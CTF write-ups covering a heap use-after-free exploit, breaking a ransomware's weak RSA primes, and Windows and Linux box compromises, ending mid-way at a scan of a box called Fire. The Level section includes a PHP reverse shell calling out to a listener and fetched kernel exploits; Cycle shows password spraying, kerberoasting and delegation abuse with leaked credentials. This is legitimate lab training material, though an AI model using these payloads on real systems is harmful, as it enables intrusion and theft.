HTB Business CTF Write-ups
Summary
You can find more writeups on our Github repository.
Backtrack (Pwn)
Several files are provided:
- A compiled binary
- The source code of this binary (C++)
- A Dockerfile allowing to locally test and debug the exploit in the same environment (Ubuntu 18.04)
The source code is very short:
main()
creates three treads: listen_loop, do_reads and memory_loop. Then it executes a menu in an infinite loop.listen_loop()
accepts an incoming connection and add the new socket in thefds
array, and also adds NULL in thebuffers
array.do_reads()
performs a non blockingrecv()
on each file descriptor in thefds
array using the buffer from thebuffers
array.memory_loop()
is responsible for allocating and freeing the buffers in thebuffers
array for each newly added file descriptor infds
and for each deleted ones (from the menu).menu()
executed in the main thread allows performing several allocation: listing thefds
array, removing an entry infds
or dislaying the buffer associated to an entry infds
.
The fds
and buffers
objects are defined as globals:
std::vector<int> fds;
std::vector<char*> buffers;
The vulnerabilities
As we can guess, the main problem is that several variables are used from several threads without any locking mechanism. There are several locations where a race condition can occur but the easiest one to exploit is in the do_reads()
function:
std::vector<char*> valid_buf;
std::vector<int> valid_fd;
for (int i = 0; i < fds.size(); i++) {
if (fds[i] != -1 && buffers[i] != nullptr) {
valid_fd.push_back(fds[i]);
[1] valid_buf.push_back(buffers[i]);
}
}
[2] sleep(1);
for (int i = 0; i < valid_fd.size(); i++) {
[3] int res = recv(valid_fd[i], valid_buf[i], 0x40, MSG_DONTWAIT);
}
In this code, the do_reads
thread copies the reference of a valid allocated buffer [1], waits one second [2] and then fills it with user-controlled data [3]. So, if during this second, another thread has deleted the allocation, the recv()
writes data into a freed chunk (UAF).
To trigger this Use After Free, one can just do the following:
- Connect to the port 31337: a new file descriptor is added in the
fds
array. The memory loop will allocate the associated buffer within 1ms. - Wait 1s:
do_reads
has a copy of this file descriptor and its associated buffer. - Ask to delete the fd in the
menu
: this will not close it but just set the entry infds
to-1
. - Send data in this buffer.
To make sure we win this 1 second race, the buffer content can be polled using menu()
to synchronize the exploit code with the do_reads
loop: the content of the buffer is changed when the recv()
is performed.
The other problem in the source code is that the allocations are not zeroed. So allocating a buffer and then printing it will display the content of the memory where this chunk is allocated (info leak).
R/W stabilization
The allocations are made using new char[0x40]
which just calls libc's malloc()
with the same size. As we can allocate and free them at will, one can leak the libc metadata by removing a chunk, allocating a new one and using the infoleak. In this leaked metadata, there is the pointer of the next free chunk after this one. Using this pointer, the address of all allocations can be guessed in a determinist way.
After retrieving this address in heap, the UAF is used to overwrite the metadata of a freed buffer in order to take over one chunk. Indeed, if the content of a freed chunk is overwriten after been freed (using do_read
) the FD
/BK
pointers can be overwritten. By writing an arbitrary address, this address will be returned by the second next malloc()
.
This gdb script prints the address of the allocated buffers:
b *0x0401941
commands
silent
printf "%016llx\n", $rax
c
end
Overwriting the libc metata with an address shows that the chunk is returned after two allocations (the next one being the chunk used as UAF):
The libc expects to find metadata in this last chunk. So if we allocate again a new chunk, it will use the first 64 bytes located at this address as the next chunk. So the exploitation never allocates again a new buffer after this step.
The idea of the stablization is to get reusable read/write primitives by taking over one object at a known address. Using the infoleak, an address in heap is retrieved but there are mostly only other buffers which content is controled anyway. But the program is compiled without PIC, it means it is loaded at the same address:
00400000-00406000 r-xp 00000000 fd:00 29101970 /chall
00606000-00607000 r--p 00006000 fd:00 29101970 /chall
00607000-00608000 rw-p 00007000 fd:00 29101970 /chall
The fd
and buffers
vectors are both composed of three 64-bytes values. The first one is the start of the data of this vector and the second one is the end. So taking over a vector allows to define where it is stored in memory (as well as its size). To get stable R/W, we only need to take over the buffers
vector.
As the address of all the first allocations are known (using the pointer leaked previouly), the overwritten buffers
vector can point to controled data. This fake buffer table is made to:
- Have the same size as the previous one
- Have the same NULL entry (otherwise the memory loop thread would perform an allocation)
- Have one entry pointing to itself: so we can update it and get reusable R/W primitives
- Have another non-NULL entry pointing to the victim we want to read or write
With this setup, updating this table can be done by filling buffer 1. Reading memory at an arbitrary address can be done by using the menu with buffer index 3. Writing to this address can be done by sending data on the connection corresponding to the buffer 3.
Flag
From these primitives, gaining command execution is easy because the program has no PIC and the GOT can be overwritten (it is mapped as rw). Moreover, there is a call to system()
in the menu.
To get the flag :
- Write the command somewhere in memory
- Overwrite the GOT entry of
puts()
withsystem()
- Update the address of one buffer
- Print it with the menu, this will execute the command
mem_write(0x607140, b'/bin/sh -c "cat /flag.txt"\x00')
mem_write(0x607100, int(0x401086).to_bytes(8, 'little'))
update_buffer_table(1, buffer_0_addr, 0x607140)
print_buffer(3)
# Printed : HTB{wh0_n33ds_mut3x35_4nyw4y!?!?}
Got Ransomed (Crypto)
Got Ransomed was the least solved crypto challenge. It involved retrieving the Python source code of a PyInstaller executable and abusing a weak prime number generator to factorize a 2048-bit RSA modulus.
Where is the source code?!
We were given SSH access to a machine which was hit by a ransomware:
$ ssh -p 30137 developer@159.65.58.156
developer@159.65.58.156's password:
*** You got ransomed!***
Seems like your manager lacks some basic training on phishing campaigns.
developer@cryptobusinessgotransomed-12164-64dd76694c-zmvkb:~$ cd /home/manager/
developer@cryptobusinessgotransomed-12164-64dd76694c-zmvkb:/home/manager$ ls -la
total 2816
drwxr-xr-x 1 manager manager 4096 Jul 19 10:19 .
drwxr-xr-x 1 root root 4096 Jul 19 10:19 ..
-rw-r--r-- 1 root root 240 Jul 19 10:19 .bash_logout.enc
-rw-r--r-- 1 root root 3792 Jul 19 10:19 .bashrc.enc
-rwxr-xr-x 1 root root 1383160 Jul 19 09:33 .evil
-rw-r--r-- 1 root root 832 Jul 19 10:19 .profile.enc
-rw-r--r-- 1 root root 1385680 Jul 19 10:19 Payroll_Schedule.pdf.enc
-rw-r--r-- 1 root root 74016 Jul 19 10:19 data_breach_response.pdf.enc
-rw-r--r-- 1 root root 64 Jul 19 10:19 flag.txt.enc
-rw-r--r-- 1 root root 1289 Jul 19 10:19 public_key.txt
Among the files is an executable named .evil
that seems rather intriguing. I first tried to open it in a decompiler but the executable seemed a bit non-standard and reversing is not my strong suit so I just ran it in a VM :).
I got the following error:
$ ./.evil
Fatal Python error: initfsencoding: Unable to get the locale encoding
ModuleNotFoundError: No module named 'encodings'
Current thread 0x00007f2208114b80 (most recent call first):
It seems like the program is trying to load some Python module. It sure looks like some PyInstaller generated executable! Basically, what PyInstaller does is archiving the Python source code as well as the Python interpreter into a single executable file so that it can act as a standalone binary. When executed, the source code and the interpreter are uncompressed into a temporary folder. Finally, the Python code is executed the same it would normally be executed.
This is rather good news as it means we do not have to reverse anything because we can just extract the compiled Python source code from the binary and uncompile it.
Extracting the compiled Python source code can be done with pyinstxtractor. Be careful to use the same Python version as the one used to create the PyInstaller executable (pyinstxtractor will print a warning otherwise). For ELF binaries, an additionnal step must be done:
$ objcopy --dump-section pydata=pydata.dump .evil
$ python3 pyinstxtractor.py pydata.dump
[+] Processing pydata.dump
[+] Pyinstaller version: 2.1+
[+] Python version: 37
[+] Length of package: 1339359 bytes
[+] Found 7 files in CArchive
[+] Beginning extraction...please standby
[+] Possible entry point: pyiboot01_bootstrap.pyc
[+] Possible entry point: ransomware.pyc
[+] Found 181 files in PYZ archive
[+] Successfully extracted pyinstaller archive: pydata.dump
You can now use a python decompiler on the pyc files within the extracted directory
$ ls pydata.dump_extracted/
pyiboot01_bootstrap.pyc pyimod01_os_path.pyc pyimod02_archive.pyc pyimod03_importers.pyc PYZ-00.pyz PYZ-00.pyz_extracted ransomware.pyc struct.pyc
Hmmm, the ransomware.pyc
file seems particularly interesting! Compiled Python files can be easily uncompiled with uncompyle6:
$ uncompyle6 pydata.dump_extracted/ransomware.pyc > ransomware.py
This prime is sus
The ransomware script is rather straightforward:
- A random AES key is generated
- An 2048-bit RSA key is generated with a custom prime generator
- Each file is encrypted with AES-CBC and the encryption key previously generated
- The AES key is encrypted with the RSA key
Everything is standard cryptographically speaking, except for the prime number generation function:
def getPrime(self, bits):
while 1:
prime = getrandbits(32) * (2 ** bits - getrandbits(128) - getrandbits(32)) + getrandbits(128)
if isPrime(prime):
return prime
From now on, the goal is pretty clear: we need to abuse this weird prime generator to factorise the RSA modulus, retrieve the private key, decrypt the AES key and eventually decrypt the flag.
The encrypted AES key and the RSA public key are given in the public_key.txt
file on the compromised machine:
$ cat public_key.txt
ct =103277426890378325116816003823204413405697650803883027924499155808207579502838049594785647296354171560091380575609023224236810984380471514427263389631556751378748850781417708570684336755006577867552855825522332814965118168493717583064825727041281736124508427759186701963677317409867086473936244440084864793145556452777286279898290377902029996126279559998481885748242510379854444310318155405626576074833498899206869904384273094040008044549784792603559691212527347536160482541620839919378963435565991783142960512680000026995612778965267032398130337317184716910656244337935483878555511428645495753032285992542849349183330115270055128424706
n =138207419695384547988912711812284775202209436526033230198940565547636825580747672789492797274333315722907773523517227770864272553877067922737653082336474664566217666931535461616165422003336643572287256862845919431302341192342221401941030920157743737894770635943413313928841178881232020910281701384625077903386156608333697476127454650836483136951229948246099472175058826799041197871948492587237632210327332983333713524046342665918954004211660592218839111231622727156788937696335536810341922886296485903618849914312160102415163875162998413750215079864835041806222675907005982658170273293041649903396166676084266968673498852755429449249441
e =6553
By representing the generated primes in hexadecimal, we observe a weird structure:
>>> hex(getPrime(1024))
'0x9b961fc1ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff923050f97695bf2fdb06f493c8192014a37fbb81'
Most of the bytes are just 0xff
, meaning the primes have only a few bytes of entropy.
From the getPrime
function, the generated primes p
and q
can be represented as:
p = u1(21024 + v1) + w1 = u121024 + u1v1 + w1 q = u2(21024 + v2) + w2 = u221024 + u2v2 + w2
Therefore, the modulus n
can be written as:
n = pq = (u121024 + u1v1 + w1)(u221024 + u2v2 + w2) = u1u222048 + u1u2v221024 + u1w221024 + u1v1u221024 + u1v1u2v2 + u1v1w2 + w1u221024 + w1u2v2 + w1w2 = u1u222048 + (u1u2v2 + u1w2 + u1v1u2 + w1u2)21024 + u1v1u2v2 + u1v1w2 + w1u2v2 + w1w2 = a22048 + b21024 + c with a = u1u2 b = u1u2v2 + u1w2 + u1v1u2 + w1u2 c = u1v1u2v2 + u1v1w2 + w1u2v2 + w1w2
By substituting 21024
with x
, we get:
n = ax2 + bx + c
The generated modulus can be represented as a second-degree polynomial! This is good news as such a polynimial can be trivially factorised into:
ax2 + bx + c = (s1x + t1)(s2x + t2) = pq
a
, b
and c
can be retrieved simply by looking at the hexadecimal representation of n
:
>>> hex(n)
'0x3b599770048e9bacffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffd5449e2d90aa5712a21ba34aa1b2c62fbebe83d77a5da7f20000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001c04599c8b423852045a385916c68dd3eba0aaef4488cae357fc2b52aecd0d256103eac3fc3b2a1'
a = 0x3b599770048e9bad b = -0x2abb61d26f55a8ed5de45cb55e4d39d041417c2885a2580e c = 0x1c04599c8b423852045a385916c68dd3eba0aaef4488cae357fc2b52aecd0d256103eac3fc3b2a1
And that's it! We have all the elements needed to solve the challenge. The following script factorises the polynomial with sympy, computes the private exponent, decrypts the encryption key and decrypt the flag:
from Cryptodome.Cipher import AES
from Cryptodome.Util.Padding import unpad
from sympy import mod_inverse, poly
from sympy.abc import x
ct = 0x2c599fad32765bdd5ac1de9284cd6fd6e5f47e097ab42c457fd4b8c2ca49eb6c437871539786ba64f3bf23027fd1be69a25a974497639c45cad549f3174630f6c4faceb81d6be893842231c95b214411eec1e4600fd7c323a6f45667b9497b98dc37f401f741cae4e6520517be29a29d14a28c7f55c45ad0a33fd62ffca573da8dcd9b5aa8cf29a1d2b3047782713c31168fa1e90006fd73328844c382b8757ef9459079346a74c1747a27e03852aaf9b33a114ecff94d0d6858abb188426e859f37cf9c2f1b28fcba9fba1e5f16eff14122bf7b3e15ebf992ea8c890f253f2d351492175aa1796a7756d57e63c1d1e8d06474a4e1afc2e65a5a0a15bf8097965ac250fe71736102
n = 0x3b599770048e9bacffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffd5449e2d90aa5712a21ba34aa1b2c62fbebe83d77a5da7f20000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001c04599c8b423852045a385916c68dd3eba0aaef4488cae357fc2b52aecd0d256103eac3fc3b2a1
e = 0x10001
a = 0x3b599770048e9bad
b = -0x2abb61d26f55a8ed5de45cb55e4d39d041417c2885a2580e
c = 0x1c04599c8b423852045a385916c68dd3eba0aaef4488cae357fc2b52aecd0d256103eac3fc3b2a1
assert(a * 2 ** 2048 + b * 2 ** 1024 + c == n)
# Factorise n
P = poly(a * x ** 2 + b * x + c)
factors = P.factor_list()[1]
p = factors[0][0].eval(2 ** 1024)
q = factors[1][0].eval(2 ** 1024)
assert(p * q == n)
# Decrypt the encryption key
phi = (p - 1) * (q - 1)
d = mod_inverse(e, phi)
key = pow(ct, d, n).to_bytes(32, 'big')
# Get the flag!
with open('flag.txt.enc', 'rb') as f:
data = f.read()
iv = data[:16]
cipher = AES.new(key, AES.MODE_CBC, iv)
print(unpad(cipher.decrypt(data[16:]), AES.block_size).decode())
# HTB{n3v3r_p4y_y0ur_r4ns0m_04e1f9}
Cycle (Fullpwn)
Nmap's output shows a classic Windows box:
# nmap -sCV -p- cycle.htb
Nmap scan report for cycle.htb (10.129.58.189)
Host is up (0.17s latency).
Not shown: 65524 filtered ports
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
49536/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49669/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49670/tcp open msrpc Microsoft Windows RPC
49689/tcp open msrpc Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 2.02:
|_ Message signing enabled and required
| smb2-time:
| date: 2021-07-24 15:02:54
|_ start_date: N/A
User flag
Looking at port 445 (SMB), we observed that the machine is a domain controller with a null authentication enabled:
$ smbclient -U " "%" " -L //cycle.htb/
mkdir failed on directory /var/run/samba/msg.lock: Permission denied
Unable to initialize messaging context
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
Backups Disk Shared folder
C$ Disk Default share
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
SYSVOL Disk Logon server share
The Backups
share can be accessed anonymously:
$ smbclient -U " "%" " //cycle.htb/Backups
mkdir failed on directory /var/run/samba/msg.lock: Permission denied
Unable to initialize messaging context
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Fri Jun 11 13:01:45 2021
.. D 0 Fri Jun 11 13:01:45 2021
Onboarding.docx A 6495 Fri Jun 11 13:01:33 2021
sqltest_deprecated.exe A 6144 Fri Jun 11 13:01:45 2021
test.txt A 5 Fri Jun 11 12:54:50 2021
5237247 blocks of size 4096. 2108119 blocks available
smb: \>
Onboarding.docx
suggests a password reuse with the following information:
MegaCorp Onboarding Document
Hello newbie!
We’re excited to have you here and look forward to working with you. Here are a few things to help you get started:
Workstation password: Meg@CorP20!
Username format: FLast (Eg. JDoe)
Please change the password once you login!
Note: This document has been deprecated in favor of the new cloud board.
The binary sqltest_deprecated.exe
is a .NET assembly. By quickly looking at it on IDA we can extract the following code sample:
aDczkw0ktscdnll: // DATA XREF: SQLTest__Main↑o
text "UTF-16LE", "dcZKW0ktsCDNlLjH3wEdmnURrL1okbk6FJYE5/hpfe8=",0
aNxl6e8rtljuaip: // DATA XREF: SQLTest__Main+B↑o
text "UTF-16LE", "nXL6E8RtlJuaipLQtVQo9A==",0
aDckxwal4e3zeji: // DATA XREF: SQLTest__Main+16↑o
text "UTF-16LE", "dckxwaL4e3ZeJi8T0078rM3rwB39S+zmnrPf1ON1x2A=",0
string SQLTest::Decrypt(unsigned int8[] cipherText, unsigned int8[] Key, unsigned int8[] IV)
Data Source=localhost;Initial Catalog=Production;Us"
text "UTF-16LE", "er id=sqlsvc;Password={0}
The executable does a simple AES decryption in order to connect to the sql database. We can retrieve the password with cyberchef:
We obtain the following credentials: sqlsvc:T7Fjr526aD67tGJQ
.
Credentials are valid on the domain (confirmed by CrackMapExec):
$ cme smb cycle.htb -u sqlsvc -p T7Fjr526aD67tGJQ
SMB 10.129.1.6 445 DC01 [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:MEGACORP.LOCAL) (signing:True) (SMBv1:False)
SMB 10.129.1.6 445 DC01 [+] MEGACORP.LOCAL\sqlsvc:T7Fjr526aD67tGJQ
With this account, it is possible to retrieve domain users through RPC:
$ rpcclient -W MEGACORP.LOCAL cycle.htb -U 'sqlsvc%T7Fjr526aD67tGJQ' -c enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[dsc] rid:[0x3e8]
user:[GReynolds] rid:[0x450]
user:[TMoore] rid:[0x451]
[...]
We remember the on-boarding document. We tried to spray the previous password against all users and found 2 valid users (don't forget the --continue-on-success
or you will miss WLee account).
$ cme smb cycle.htb -u users.txt -p 'Meg@CorP20!' --continue-on-success
SMB 10.129.1.6 445 DC01 [-] MEGACORP.LOCAL\Administrator:Meg@CorP20! STATUS_LOGON_FAILURE
SMB 10.129.1.6 445 DC01 [-] MEGACORP.LOCAL\Guest:Meg@CorP20! STATUS_LOGON_FAILURE
[...]
SMB 10.129.1.6 445 DC01 [+] MEGACORP.LOCAL\KPrice:Meg@CorP20!
SMB 10.129.1.6 445 DC01 [+] MEGACORP.LOCAL\WLee:Meg@CorP20!
With this account, we can get command execution with evil-winrm:
$ evil-winrm -u WLee -p 'Meg@CorP20!' -i cycle.htb
Evil-WinRM shell v2.3
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\wlee\Documents>
*Evil-WinRM* PS C:\Users\wlee\desktop> cat user.txt
HTB{cycl3_g0_brrrr}
Root flag
Common ports on domain controller are not exposed. We setup a socks server in order to enumerate the domain with impacket.
$ ./revsocks -listen 10.10.14.27:11000 -socks 127.0.0.1:1100 -pass a_strong_password_ofc
*Evil-WinRM* PS C:\windows\temp> curl 10.10.14.27/revsocks.exe -o revsocks.exe
*Evil-WinRM* PS C:\windows\temp\mine> .\revsocks.exe -connect 10.10.14.27:11000 -pass a_strong_password_ofc
We also run bloodhound and discover few interesting things. First one: we can kerberoast GFisher user.
$ proxychains GetUserSPNs.py MEGACORP.LOCAL/sqlsvc:T7Fjr526aD67tGJQ -request
Impacket v0.9.23.dev1+20210315.121412.a16198c3 - Copyright 2020 SecureAuth Corporation
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
-------------------- ------- -------- -------------------------- -------------------------- -----------
HTTP/Web01 GFisher 2021-06-11 12:59:40.165903 2021-06-11 13:42:38.853453 constrained
$krb5tgs$23$*GFisher$MEGACORP.LOCAL$MEGACORP.LOCAL/GFisher*$b6851d6368749c79d643f6381aef0331$981a7fc2be63c1a8dc8321be5ab590cbcda5449f477c40ba753a3ad72df55e14a72ac7ef38ae187a19315102fd82cc337937a821e705462e7ecfdfa08ce67e923ac7ad6ba6440ae4a1eb5bc5498b82c6e288c0287fe7739ab3b287f52c73c14242213e2fc189c5daca1e6911273769373f56ab0c287dc2a208efa13a872f3aef90f84bb8dfd4f6fd4bcd28a1b0bd4655a8ffb6b4bee8d9b539555611dabc8bb3f841236416cc283d18ac8098099e1015656a9f4078dba08bd70230aafeaf2fe304309e9a031ba94fc5bb82966062ef29dad8bfdc7fa9bae3f9a7f00d476c36ae70f9ac15b9bb11bcfe854d2e5127b298787b4b1d31ad77d3e8fd879189bee5810b3d38d2afa104a7eb145e7dd60618aa6469c28b8701808c032337054cac1aa527a42a074ee8cd986185d56ae37209e6e33b581013a64e7765a0d35d6a3d94a9fd749100afda22397652482c8ce62812eaf8083757dc36b1f4e4d9edfe370e3b3f0c2ba8a7eb47815bc29d1afff9686ccd437680fd4ed91160f9fac61f14622a6590de7ff0eacae5d33a3bcefee77b6d54e989f2f37a99e0be0ca41ca82c14f0aa23001c2174474bdb7e16a7665b918559fd0f5d46bf39ecd284b467dd32a411c565ac80923d4497c4722ce6157fff42fbe14cf6a17286a1769607fd63f74d5d5b01594dd188735076156f9c5934b2ea2eb5795e85170d7caa760af50fea663180530c384e1733d2557121eee980957f696594385ebcb54cf88baebb341b5cc6233df884a4c225e3bf68f3f00a31c1426075342cbeb8b22331b32f226bb911e6ad01f713c3d8824c0ca69a19b0d7e55ecfd187633629ead55a28ba1f576a5f76a447cfb333adafebeafb7837055c90f37418be0b6a21ae0c3b25b2866d60c986b3562541eb5fe4d0bb122294cea43f77c9c57c977e1cff2dcb6a2f854021a72747f50af89c170c5814be0222e8d7c72923550333bce86bb980f5eb78f3c54a48ccdcceca9a1f192c364d75946ff9a3717a9325f898670b4791419f60901f6bc19930a4ff0b037fb99840081988f5cf8bafacdef07479226a0c88b44763f560a00c45a318d4f76b9ebdca823082787fa210f1efebc49721aa062b11ea2472a89339e1a918868de9a302ca435cb94c264c812afd6c0f27b9156b30276c53aa6261dedac6b2b865ec6cbccb996811aa79d856c0e064caebb1ad5d2d4f3129eadccf4cbe9f9c865ab7a905f06a21fe6c85e2accbcccb849ddf6ec811afdcd6622e021d5ad8e75b1dedd1d556e34b9af547c71628030e5ffa51ee010ed2fc36605a919e9178c666d1c8bc04143adb1f7307677956ac4e22
$ john fisher.hash --wordlist=rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
escorpion10 (?)
With GFisher we can abuse the constrained delegation to takeover the domain.
We used impacket to request a TGT for the domain Administrator account and get the root flag.
$ proxychains getST.py -spn MSSQL/DC01.MEGACORP.LOCAL -impersonate Administrator MEGACORP.LOCAL/GFISHER:'escorpion10'
Impacket v0.9.23.dev1+20210315.121412.a16198c3 - Copyright 2020 SecureAuth Corporation
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator.ccache
export KRB5CCNAME=Administrator.ccache
Tue Jul 27 03:19:21 wil@pwn:~/htb/business_ctf/boxes/cycle$ proxychains wmiexec.py -k -no-pass DC01.MEGACORP.LOCAL
[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>type C:\users\administrator\desktop\root.txt
HTB{d0nt_c0nstrain_m3_br0}
Level (Fullpwn)
# nmap -sCV -p- level.htb
Nmap scan report for level.htb (10.129.95.161)
Host is up (0.40s latency).
Not shown: 995 closed ports
PORT STATE SERVICE VERSION
80/tcp open ssl/http?
8081/tcp open blackice-icecap?
User flag
Apache Flink on port 8081 is vulnerable to path traversal. Metasploit has a module for it. We can read the .env
file in the webroot:
msf6 auxiliary(scanner/http/apache_flink_jobmanager_traversal) > run
[*] Downloading /var/www/html/.env ...
[+] Downloaded /var/www/html/.env (125 bytes)
[+] File /var/www/html/.env saved in: /home/wil/.msf4/loot/20210727012858_default_10.129.173.192_apache.flink.job_666566.txt
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
$ cat /home/wil/.msf4/loot/20210727012858_default_10.129.173.192_apache.flink.job_666566.txt
DB_HOST=127.0.0.1
DB_CONNECTION=mysql
DB_USERNAME=hcms
DB_PASSWORD=N>2sM4^R_j>g)cfe
DB_DATABASE=hcms
HCMS_ADMIN_PREFIX=admin
These credentials are valid on port 80 on HorizontCMS:
admin:N>2sM4^R_j>g)cfe
With admin privileges, we can add a malicous plugin. Here we used a modified GoogleMaps plugin with a reverse shell:
$ cat messages.php
<?php
$shell = exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.27/9000 0>&1'");
return [
'successfully_added_location' => $shell,//'Location added succesfully!',
'successfully_deleted_location' => 'Location deleted succesfully!',
'successfully_set_center' => 'Location is successfully set as map center!'
];
Install the plugin in the following menus: Themes & Apps/Plugin/Upload new plugin. Click on Install and activate it. Then click on Google Maps (top menu) / Add location / Set arbitrary content in fields then save.
Once the location is added, we receive a connect-back from the reverse shell and we can read the user flag:
$ nc -nvlp 9000
Listening on [0.0.0.0] (family 2, port 9000)
Connection from 10.129.173.192 60640 received!
bash: cannot set terminal process group (1038): Inappropriate ioctl for device
bash: no job control in this shell
albert@level:/var/www/html$
albert@level:/home/albert$ cat user.txt
HTB{0utd4t3d_cms_1s_n0_g00d}
Root flag
By quickly searching for privilege escalation paths, we notice the operating system is vulnerable to two consecutive LPE (Local Privilege Escalation) vulnerabilities:
- A double free vulnerability in Ubuntu shiftfs driver (CVE-2021-3492), found by our team mate VDehors and submitted to Pwn2Own Vancouver 2021.
- Ubuntu OverlayFS LPE (CVE-2021-3493).
albert@level$ uname -a
Linux level 5.4.0-48-generic #52-Ubuntu SMP Thu Sep 10 10:58:49 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
albert@level$ cat /etc/os-release
NAME="Ubuntu"
VERSION="20.04.1 LTS (Focal Fossa)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 20.04.1 LTS"
VERSION_ID="20.04"
[...]
VERSION_CODENAME=focal
UBUNTU_CODENAME=focal
albert@level$ /sbin/sysctl -n 'kernel.unprivileged_userns_clone'
1
As the exploit written by Vdehors for his vulnerability CVE-2021-3492 was only targetting Linux kernel versions 5.8, he slightly modified it in order to also support Linux kernel version 5.4. In the initial exploit, the synchronization between kernel and userspace was done using a new feature of userfaultfd called write-protect. This feature is not present in kernel versions 5.4 so this part of the exploit has been replaced with the legacy userfaultfd page faults. To be able to preempt the kernel for each copy_to_user()
, the userland structure is placed on two different pages and these pages are untouched to trigger the userfaultfd wakeup.
Note: the exploit for Linux kernels 5.4 is now available on our Github repository.
Finally, we can use his exploit to solve the box:
albert@level:/tmp/foo$ wget "10.10.14.65:8080/exploit"
albert@level:/tmp/foo$ mkdir symbols
albert@level:/tmp/foo/$ wget "10.10.14.65:8080/System.map-5.4.0-48-generic" -O symbols/System.map-5.4.0-48-generic
albert@level:/tmp/foo$ chmod +x exploit
albert@level:/tmp/foo$ ./exploit
################################################
# EXPLOIT SETUP #
################################################
Kernel version 5.4.0-48-generic
0xffffffff81085460 set_memory_x
0xffffffff810aba30 proc_doulongvec_minmax
0xffffffff810cdb40 commit_creds
0xffffffff810cdec0 prepare_kernel_cred
0xffffffff819f7dc0 devinet_sysctl_forward
0xffffffff82654040 debug_table
Pinning on CPU 0
Creating new USERNS
Configuring UID/GID map for user 1000/1000
Creating new MOUNTNS
Mounting tmpfs on d1
Mounting shiftfs on d2
Creating shiftfs file
Shiftfs FD : 4
Remaped 1 page at 0x100000
Remaped 1 page at 0x101000
Allocated 2 pages at 0x100000 (ret:0x7f9a406d1740)
Allocated 2 storage pages at 0x55874bb1b000 (ret:0)
UFFD FD: 5
Registering new mapping watch = 0
Registering new mapping watch = 0
################################################
# PRIMITIVES STABILISATION #
################################################
Triggering the vulnerability...
UFFD poll returned
WP Fault handling 1
Recreate mapping for page 1
Backuping page data 1
Unmap page 1
Remaped 1 page at 0x101000
Registering new mapping watch = 0
Unblock page 0
[...]
Entering NET namespace...
Namespace NET fd = 6
Setns returned 0
Leaking payload address...
Table is at ffff8ac12fa1c008
Dumping global sysctl...
global_sysctl_victim[0] = 0xffffffff87b5f238
[...]
global_sysctl_victim[7] = 0x0000000000000000
Patching global sysctl...
global_sysctl_victim[0] = 0xffffffff87b5f238
[...]
global_sysctl_victim[7] = 0x0000000000000000
################################################
# SYSTEM REPAIR #
################################################
Checking R/W primitives
Current header is 000000000000ffff
Restored header is ffff8ac136194000
Restoring global sysctl...
################################################
# SHELLCODE INJECTION #
################################################
Setting buffer to RWX
Writting shellcode at ffff8ac12fa1cf08
Writting prepare_kernel_cred at ffff8ac12fa1cef8
Writting commit_cred at ffff8ac12fa1cef0
Executing shellcode...
################################################
# YOU ARE ROOT #
################################################
root@level:/tmp/foo# id
uid=0(root) gid=0(root) groups=0(root)
root@level:/tmp/foo# cat /root/root.txt
HTB{br0k3n_st0r4g3}
Fire (Fullpwn)
The Nmap scan shows a classic Windows box.
# nmap -sCV -p- 10.129.95.158
Nmap scan report for 10.129.95.158
Host is up (0.021s latency).
Not shown: 65521 closed ports
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
8080/tcp open http Apache httpd 2.4.48 ((Win64) PHP/8.0.7)
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
49670/tcp open msrpc Microsoft Windows RPC
